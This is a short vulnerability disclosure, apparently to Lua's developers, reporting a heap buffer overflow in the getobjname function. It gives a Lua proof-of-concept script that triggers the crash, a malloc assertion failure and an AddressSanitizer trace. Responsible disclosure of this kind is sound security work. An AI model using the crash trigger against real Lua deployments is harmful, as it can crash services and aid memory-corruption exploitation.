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- **Subject:** heap-buffer-overflow in getobjname
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Hi,
We found a heap buffer overflow in getobjname function.
Lua version:
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See follow PoC:

```
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function  
errfunc ( )  
setmetatable (   
{  
}  
,  
{  
  __gc = coroutine  
}  
)[xpcall  
( function ( )function crash ( )function  
  f ( p25, p26, p27, p28, p29, p30, p31, p32, p33, p34, p35, p36, p37, p38,  
    p39, p40, p41, p42, p43, p44, p45, p46, p48, p49, p50,  
    ... ) local a14 end f ( ) ( )end for i = 1, 5  
do  
  crash ( )end end,  
coroutine.  
wrap ( function ( )xpcall ( test, errfunc ) xpcall ( test, errfunc )  
  end ) )]  
= load end coro =  
  ( function ( )print ( xpcall ( test, errfunc ) ) end ) ( )  
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```

Run this PoC with the original build lua will get

~/lua/lua poc.lua

lua: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

Asan log:

```
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==28107==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000014c at pc 0x00000040e7cb bp 0x7ffd49fcd550 sp 0x7ffd49fcd540
READ of size 4 at 0x60200000014c thread T0
#0 0x40e7ca in getobjname (/home/yongheng/lua_asan/lua+0x40e7ca)
#1 0x40ec98 in varinfo (/home/yongheng/lua_asan/lua+0x40ec98)
#2 0x411575 in luaG_typeerror (/home/yongheng/lua_asan/lua+0x411575)
#3 0x4138bc in luaD_tryfuncTM (/home/yongheng/lua_asan/lua+0x4138bc)
#4 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
#5 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
#6 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
#7 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
#8 0x41ac34 in GCTM (/home/yongheng/lua_asan/lua+0x41ac34)
#9 0x41e3de in singlestep (/home/yongheng/lua_asan/lua+0x41e3de)
#10 0x42026e in luaC_step (/home/yongheng/lua_asan/lua+0x42026e)
...
...
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```

Best,
Yongheng and Rui

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